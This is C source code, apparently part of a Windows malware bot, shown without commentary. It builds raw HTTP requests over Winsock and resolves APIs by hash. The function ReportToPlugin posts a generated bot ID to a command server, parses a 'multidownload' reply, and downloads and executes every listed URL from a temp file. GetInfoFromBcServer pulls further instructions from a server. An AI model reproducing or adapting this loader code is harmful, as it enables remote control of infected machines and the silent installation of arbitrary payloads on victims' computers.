bool AsyncDownload1( char *Url, LPBYTE *lpBuffer, LPDWORD dwSize ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 80; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } SOCKET Socket = MyConnect( Host, Port ); if( Socket == -1 ) { return false; } char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); char *query=(char*)MemAlloc(2048); m_lstrcpy(query,"GET /"); m_lstrcat(query,Path); m_lstrcat(query," HTTP/1.1\r\nAccept: */* \r\n "); m_lstrcat(query,"Accept-Language: ru \r\n"); m_lstrcat(query,"UA-CPU: x86 \r\n"); m_lstrcat(query,"Accept-Encoding: gzip, deflate \r\n"); m_lstrcat(query,"User-Agent: "); m_lstrcat(query,UserAgent); m_lstrcat(query,"\r\nHost: "); m_lstrcat(query,Host); m_lstrcat(query,"\r\nConnection: Close\r\n\r\n\r\n"); bool b = MySend( Socket, (const char *)query, m_lstrlen( query ) ); MemFree( Host ); //MemFree( Path ); MemFree( UserAgent ); MemFree( query ); if ( !b ) { return false; } DWORD dwSizeFile = 0; char *Buffer = RecvAndParse( Socket, &dwSizeFile ); if ( !Buffer ) { pclosesocket( Socket ); return false; } if ( dwSize ) { *lpBuffer = (LPBYTE)Buffer; *dwSize = dwSizeFile; return true; } return false; }
bool ReportToPlugin( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl1( Url, &Host, &Path, &Port ) ) { return false; } char Uid[100]; GenerateUid( Uid ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); if ( UserAgent == NULL ) { MemFree( UserAgent ); UserAgent = "-"; } char Request[] = "POST %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Args[] = "id="; char *HttpPacket = NULL; HttpPacket = (char*)MemAlloc( 2048 ); int iTmp; if (LoadExe!=NULL) { iTmp=m_lstrlen(LoadExe); }else iTmp=9; pwsprintfA( HttpPacket, Request, Path, Host, UserAgent, m_lstrlen( Args ) + m_lstrlen( Uid )+iTmp ); m_lstrcat( HttpPacket, Args ); m_lstrcat( HttpPacket, Uid ); if (LoadExe==NULL) { LoadExe = (char*)MemAlloc(10); m_lstrncpy(LoadExe,"&plugins=",9); LoadExe[9]='\0'; } m_lstrcat( HttpPacket, LoadExe ); SOCKET Socket = MyConnect1( Host, Port ); if( Socket == -1 ) { return false; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return false; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); if ( !Buffer ) { pclosesocket( Socket ); return false; } char MultiDownloadCommand[]={'m','u','l','t','i','d','o','w','n','l','o','a','d',0}; char *Context; m_strtok_s( Buffer, "\r\n", &Context ); if ( !m_lstrncmp( Buffer, MultiDownloadCommand, m_lstrlen( MultiDownloadCommand ) ) ) { char * cPointer= m_strstr(&Buffer[1],"http:"); char* cUrl=Buffer; char* cUrlNext; int i; char *DownloadUrl; while (true) { cUrl= m_strstr(&cUrl[1],"http:"); if (cUrl==NULL)break; cUrlNext= m_strstr(cUrl,"|"); i=m_lstrlen(cUrl)-m_lstrlen(cUrlNext); DownloadUrl = (char*)MemAlloc(i)+1; m_lstrncpy(DownloadUrl,cUrl,i); DownloadUrl[i]='\0'; if ( DownloadUrl ) { LoadExe=(char*)MemRealloc(LoadExe,33+m_lstrlen(LoadExe)+1); m_lstrcat( LoadExe, MD5StrFromBuf(DownloadUrl, STRA::Length(DownloadUrl)).t_str()); m_lstrcat( LoadExe, "|"); WCHAR *FileName =(WCHAR *)GetTempName(); if ( FileName && DownloadUrl ) { ExecuteFile( DownloadUrl, FileName ); } MemFree( FileName ); } MemFree( DownloadUrl ); } } MemFree( Buffer ); pclosesocket( Socket ); return true; }
char *GetInfoFromBcServer( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char Request[] = "GET %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: close\r\n\r\n"; char *HttpPacket = (char*)MemAlloc( 1024 ); if ( HttpPacket == NULL ) { return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( HttpPacket, Request, Path, Host, UserAgent ); SOCKET Socket = MyConnect( Host, Port ); if ( Socket == INVALID_SOCKET ) { MemFree( HttpPacket ); return NULL; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return NULL; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); pclosesocket( Socket ); return Buffer; }